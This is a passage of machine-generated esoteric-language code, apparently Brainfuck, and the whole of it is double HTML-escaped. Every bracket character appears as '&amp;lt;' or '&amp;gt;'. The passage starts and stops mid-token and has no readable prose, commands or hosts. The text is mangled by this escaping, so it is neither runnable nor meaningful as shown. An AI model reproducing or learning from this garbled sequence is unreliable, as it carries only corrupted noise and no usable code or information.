gt;]&amp;lt;+&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]++++++++++++++++&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]++++++++++[-&amp;lt;+++++++++++++&amp;gt;]&amp;lt;&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]+++++++++++++++++&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]+++++++++[-&amp;lt;++++++++++++++&amp;gt;]&amp;lt;&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]++++++++++++++++++&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]++++++++++[-&amp;lt;+++++++++++++&amp;gt;]&amp;lt;&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]+++++++++++++++++++&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]+++++++[-&amp;lt;+++++++++++++++++++++++++&amp;gt;]&amp;lt;&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]&amp;gt;[-]++++[-&amp;lt;+++++&amp;gt;]&amp;lt;&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]+++++++++[-&amp;lt;++++++++++++++&amp;gt;]&amp;lt;&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]&amp;gt;[-]+++[-&amp;lt;+++++++&amp;gt;]&amp;lt;&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]+++++++++++[-&amp;lt;++++++++++++++++&amp;gt;]&amp;lt;+&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]&amp;gt;[-]+++[-&amp;lt;+++++++&amp;gt;]&amp;lt;+&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]+++++++++++[-&amp;lt;++++++++++++&amp;gt;]&amp;lt;+&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;+&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;-]&amp;gt;[&amp;lt;+&amp;gt;-]&amp;lt;[&amp;lt;&amp;lt;+&amp;gt;&amp;gt;-]&amp;lt;[&amp;lt;[&amp;lt;+&amp;gt;-]&amp;gt;-[&amp;lt;+&amp;gt;-]&amp;lt;]&amp;lt;[-]&amp;gt;[-]+++[-&amp;lt;+++++++&amp;gt;]&amp;lt;++&amp;gt;[-]&amp;gt;[-]&amp;gt;[-]+++++++++++[-&amp;lt;+++++++++++&amp;gt;]&amp;lt;++++&amp;gt;&amp;lt;&amp;lt;&amp;lt;[&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;[&amp;gt;+&amp;lt;-]&amp;lt;+[&amp;gt;+&amp;lt;-]&amp;lt;-[&amp;gt;+&amp;lt;-]&amp;gt;]&amp;gt;&amp;gt;&amp;gt;[-]&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;[-]&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;[&amp;gt;+&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;l